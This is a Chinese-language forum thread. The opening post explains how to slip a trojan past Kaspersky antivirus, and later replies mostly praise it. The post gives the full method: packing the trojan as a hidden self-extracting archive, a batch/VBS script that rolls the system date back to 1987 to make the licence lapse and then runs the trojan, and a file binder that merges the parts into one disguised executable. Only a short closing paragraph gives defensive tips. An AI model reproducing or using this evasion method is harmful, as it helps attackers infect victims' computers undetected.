偷袭卡巴斯基

漫步白月光

卡巴实际为了防止盗版，采用了实时检测windows系统日期的方法来判断是否超过授权的使用期限。如果检测到已经超出，卡巴就会关闭所有的实时监控，系统托盘上的图标也会变成灰色。这时无法再进行病毒扫描等操作，必须输入新的序列号或者添加新的授权文件才可以恢复正常使用。
  利用这一特性，调整系统时间就可以后就能绕过卡巴的实时监控，避开它的主动防御。下面，我给大家说明一下如何偷袭卡巴。[:26:]
  1.改造木马
  首先用winrar压缩木马程序，双击生成的rar文件，点击工具栏上的自解压格式图标。在弹出的对话框中选择高级自解压选项按钮，然后在弹出的窗口中填入自解压路径。Ps:这个解压路径要和后面的代码路径一致.例如我们设置路径为c:\
  点击模式选项标签，选中全部隐藏和覆盖所有文件这两个选项，然后点击确定按钮将压缩包转换为自解压格式。
  2.设置脚本文件
  这个脚本文件的作用是先获取windows系统当前的时间，接着将它修改成设置好的时间，让木马程序延时一段时间再运行，最后再恢复系统正常时间。
  代码如下：
set date=%date%
date 1987-12-01
'修改系统时间到1987-12-01
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > zdfy.vbs
'延迟时间设置为1000毫秒
set /a i = 10
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo zdfy.vbs
goto Timeout
goto End
:Next
c:\123.exe
'自解压到c盘的木马程序
date %date%
del zdfy.vbs


将上面的代码保存为vbs格式的脚本文件。
  3.文件捆绑
现在我们可以通过文件捆绑器把木马的自解压格式文件和脚本文件进行捆绑。Ps：万能文件捆绑器就可以做到。
我仅仅说明如何用万能文件捆绑器来进行操作，操作如下：
点击添加文件按钮首先添加自解压文件，再点击添加文件按钮添加脚本文件，这样设置可以让自解压文件先运行，万能文件捆绑器还可以选择捆绑文件的图标

通过上面的操作，生成的木马程序就可以绕过卡巴的实时监控。Ps：也有人将这些操作进行组合，通过一个程序就可以实现。还有部分木马。比如黑洞，熊宝宝，Evilotus等，生成的服务端程序可以自动绕过卡巴的监控。
....
现在大家了解了杀软不是万能的了，然后我说下如何防范，由于这些程序是根据卡巴的注册原理引起的，所以在卡巴的设置选项中加上一个密码，这样关闭防火墙的时候会出现提示窗口。还要加强系统脚本文件和批处理文件的管理，防止这类文件随意运行，再者就是设置用户权限不让用户调整系统时间。
Ps:打字真累...

dianshixs

学习了!

sunyson

时间的更改已经被我禁止了，这个编码现在很多木马都在用，前段时间电脑就中了个～
不过被DRWEB干掉了～

mds

白兄弟不错!支持个!

szk127

学习，知己知彼，楼主高人

Firewall

如果卡巴斯基中招后, NOD32来"救驾"

cbngpdc

高人，不想看了，啥有点看不懂呢？？？[:26:]

twm17

那怎么禁止系统的时间修改呢？

漫步白月光

http://bbs.kafan.cn/viewthread.p ... D%B3%2B%CA%B1%BC%E4
这里有 说明

yahoo121

这个方法对我没用，我的卡巴不受影响哦……